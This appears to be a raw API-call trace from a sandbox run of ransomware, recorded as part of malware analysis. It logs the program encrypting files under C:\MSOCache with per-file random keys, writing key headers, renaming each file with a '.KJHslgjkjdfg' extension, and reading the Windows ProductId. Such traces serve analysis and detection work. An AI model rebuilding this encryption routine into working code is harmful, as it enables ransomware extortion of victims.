1 [0147.147] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f8*=0x6, lpOverlapped=0x0) returned 1 [0147.149] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0147.149] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0147.149] GetProcessHeap () returned 0x2ef0000 [0147.149] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0147.149] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40) returned 1 [0147.149] CryptDestroyKey (hKey=0x2f18208) returned 1 [0147.149] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f8*=0x40, lpOverlapped=0x0) returned 1 [0147.150] WriteFile (in: hFile=0x124, lpBuffer=0x4dff500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff500*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0147.150] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f8*=0x10, lpOverlapped=0x0) returned 1 [0147.150] WriteFile (in: hFile=0x124, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff4f8*=0x80, lpOverlapped=0x0) returned 1 [0147.150] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0147.150] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0147.150] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0147.150] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0147.150] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.150] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5aa, lpNumberOfBytesRead=0x4dff504, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff504*=0x5aa, lpOverlapped=0x0) returned 1 [0147.150] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x5b0) returned 1 [0147.150] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.150] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4f8*=0x5b0, lpOverlapped=0x0) returned 1 [0147.151] CryptDestroyKey (hKey=0x2f18208) returned 1 [0147.151] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.151] SetEndOfFile (hFile=0x124) returned 1 [0147.154] GetProcessHeap () returned 0x2ef0000 [0147.154] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0147.154] GetProcessHeap () returned 0x2ef0000 [0147.154] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0147.154] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.kjhslgjkjdfg")) returned 1 [0147.159] CloseHandle (hObject=0x124) returned 1 [0147.159] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc47e320, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x97f3f4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PubLR.cab", cAlternateFileName="")) returned 1 [0147.159] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0147.159] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x4dff508 | out: lpFileSize=0x4dff508*=9958388) returned 1 [0147.159] GetProcessHeap () returned 0x2ef0000 [0147.159] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0147.159] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0147.159] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.159] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f4*=0xc, lpOverlapped=0x0) returned 1 [0147.162] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0147.162] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0147.162] GetProcessHeap () returned 0x2ef0000 [0147.162] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0147.162] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff4d8*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff4d8*=0x30) returned 1 [0147.162] CryptDestroyKey (hKey=0x2f18208) returned 1 [0147.162] WriteFile (in: hFile=0x124, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff4f4*=0x30, lpOverlapped=0x0) returned 1 [0147.162] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff4fc*, lpNumberOfBytesWritten=0x4dff4f4*=0x4, lpOverlapped=0x0) returned 1 [0147.162] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f4*=0x10, lpOverlapped=0x0) returned 1 [0147.162] WriteFile (in: hFile=0x124, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff4f4*=0x80, lpOverlapped=0x0) returned 1 [0147.162] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0147.162] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f4*=0x8, lpOverlapped=0x0) returned 1 [0147.163] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0147.163] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0147.163] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0147.163] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0147.167] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0147.172] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.172] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0147.174] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x97f4c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.174] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0147.174] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0147.174] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0147.184] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0147.187] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.187] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0147.188] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x97f4c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.188] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0147.188] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x93f400, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0147.188] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0147.196] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0147.199] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x93f400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.199] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0147.200] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x97f4c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.200] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0147.201] CryptDestroyKey (hKey=0x2f18208) returned 1 [0147.201] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x97f4c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.201] SetEndOfFile (hFile=0x124) returned 1 [0147.205] GetProcessHeap () returned 0x2ef0000 [0147.205] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0147.205] GetProcessHeap () returned 0x2ef0000 [0147.205] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0147.205] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.kjhslgjkjdfg")) returned 1 [0147.209] CloseHandle (hObject=0x124) returned 1 [0147.209] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0147.209] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0147.209] GetProcessHeap () returned 0x2ef0000 [0147.209] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0147.209] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0147.209] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff518 | out: lpNewFilePointer=0x0) returned 1 [0147.209] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0147.211] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0147.211] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0147.211] GetProcessHeap () returned 0x2ef0000 [0147.211] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0147.211] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff4e0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff4e0*=0x30) returned 1 [0147.211] CryptDestroyKey (hKey=0x2f18208) returned 1 [0147.211] WriteFile (in: hFile=0x124, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff4f8*=0x30, lpOverlapped=0x0) returned 1 [0147.211] WriteFile (in: hFile=0x124, lpBuffer=0x4dff500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff500*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0147.212] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f8*=0x10, lpOverlapped=0x0) returned 1 [0147.212] WriteFile (in: hFile=0x124, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff4f8*=0x80, lpOverlapped=0x0) returned 1 [0147.212] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0147.212] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0147.212] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0147.212] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0147.212] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.212] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x648, lpNumberOfBytesRead=0x4dff504, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff504*=0x648, lpOverlapped=0x0) returned 1 [0147.212] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x650, dwBufLen=0x650 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x650) returned 1 [0147.212] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.212] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4f8*=0x650, lpOverlapped=0x0) returned 1 [0147.212] CryptDestroyKey (hKey=0x2f18208) returned 1 [0147.212] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.213] SetEndOfFile (hFile=0x124) returned 1 [0147.215] GetProcessHeap () returned 0x2ef0000 [0147.215] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0147.215] GetProcessHeap () returned 0x2ef0000 [0147.215] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0147.215] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.kjhslgjkjdfg")) returned 1 [0147.217] CloseHandle (hObject=0x124) returned 1 [0147.217] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0147.218] GetProcessHeap () returned 0x2ef0000 [0147.218] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0147.218] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0147.218] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dff330 | out: pbData=0x2f0c898, pdwDataLen=0x4dff330) returned 1 [0147.218] CryptDestroyKey (hKey=0x2f18208) returned 1 [0147.218] GetProcessHeap () returned 0x2ef0000 [0147.218] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0147.218] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0147.218] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dff330 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dff330) returned 1 [0147.218] CryptDestroyKey (hKey=0x2f18208) returned 1 [0147.218] GetProcessHeap () returned 0x2ef0000 [0147.218] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f3d270 [0147.218] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0147.218] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f3d270, pdwDataLen=0x4dff330 | out: pbData=0x2f3d270, pdwDataLen=0x4dff330) returned 1 [0147.218] CryptDestroyKey (hKey=0x2f18208) returned 1 [0147.218] GetProcessHeap () returned 0x2ef0000 [0147.218] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0147.218] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0147.218] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfef10 | out: pbData=0x2f0c928, pdwDataLen=0x4dfef10) returned 1 [0147.219] CryptDestroyKey (hKey=0x2f18208) returned 1 [0147.219] GetProcessHeap () returned 0x2ef0000 [0147.219] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11778 [0147.219] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0147.219] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11778, pdwDataLen=0x4dfef10 | out: pbData=0x2f11778, pdwDataLen=0x4dfef10) returned 1 [0147.219] CryptDestroyKey (hKey=0x2f18208) returned 1 [0147.219] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfef0c | out: phkResult=0x4dfef0c*=0x124) returned 0x0 [0147.219] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfef18, lpcbData=0x4dfef14*=0x400 | out: lpType=0x0, lpData=0x4dfef18*=0x30, lpcbData=0x4dfef14*=0x18) returned 0x0 [0147.219] RegCloseKey (hKey=0x124) returned 0x0 [0147.219] GetProcessHeap () returned 0x2ef0000 [0147.219] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0147.219] GetProcessHeap () returned 0x2ef0000 [0147.219] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11778 | out: hHeap=0x2ef0000) returned 1 [0147.219] GetProcessHeap () returned 0x2ef0000 [0147.219] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11778 [0147.219] 